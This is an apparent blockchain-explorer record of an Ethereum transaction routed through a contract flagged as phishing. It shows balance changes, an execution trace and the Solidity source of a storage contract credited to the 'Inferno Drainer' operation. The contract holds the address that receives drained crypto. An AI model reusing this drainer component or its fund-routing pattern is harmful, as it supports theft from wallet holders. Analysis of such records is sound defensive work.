Transaction Hash:
Block:
22878129 at Jul-09-2025 12:43:47 AM +UTC
Transaction Fee:
0.000138956400886464 ETH
$0.41
Gas Used:
61,488 Gas / 2.259894628 Gwei
Emitted Events:
82 |
0x0000ef99487646ea75271ec6e3088d6cfcb80000.0x874202c9472a018d1d4624c52f6f04b6805828c59cd38552cd1d32066797e5f7( 0x874202c9472a018d1d4624c52f6f04b6805828c59cd38552cd1d32066797e5f7, 0x000000000000000000000000e707de5e1620194c683f10ead26ff6425114a931, 000000000000000000000000000000000000000000000000000beaf1db9da931, 00000000000000000000000000000000000000000000000000000000686dbb43 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x0000EF99...cfCB80000 | 1.140610154379976852 Eth | 1.143964703616354757 Eth | 0.003354549236377905 | ||
0x4838B106...B0BAD5f97
Miner
| (Titan Builder) | 62.200822656105973095 Eth | 62.200945632105973095 Eth | 0.000122976 | |
0xE707De5E...25114a931 |
0.00414733453172448 Eth
Nonce: 2
|
0.000653828894460111 Eth
Nonce: 4
| 0.003493505637264369 |
Execution Trace
0xe707de5e1620194c683f10ead26ff6425114a931.e9ae5c53( )
ETH 0.003354549236377905
Fake_Phishing1294548.CALL( )
-
StorageContract.CALL( )
-
Fake_Phishing1294548.STATICCALL( )
-
// @mr_inferno_drainer / inferno drainer pragma solidity ^0.8.6; contract StorageContract { address public nativeCryptoReceiver; address[] public owners; constructor(address defaultNativeCryptoReceiver, address firstOwner) { nativeCryptoReceiver = defaultNativeCryptoReceiver; owners.push(firstOwner); } modifier onlyOwner() { bool isOwner = false; for (uint256 i = 0; i < owners.length; i++) { if (msg.sender == owners[i]) { isOwner = true; break; } } require(isOwner, "Caller is not an owner"); _; } function addOwner(address newOwner) public onlyOwner { owners.push(newOwner); } function getOwners() public view returns (address[] memory) { return owners; } function removeOwner(address ownerToRemove) public onlyOwner { uint256 index = type(uint256).max; for (uint256 i = 0; i < owners.length; i++) { if (owners[i] == ownerToRemove) { index = i; break; } } require(index != type(uint256).max, "Owner not found"); require(owners.length > 1, "Cannot remove the last owner"); owners[index] = owners[owners.length - 1]; owners.pop(); } function changeNativeCryptoReceiver(address newNativeCryptoReceiver) public onlyOwner { nativeCryptoReceiver = newNativeCryptoReceiver; } }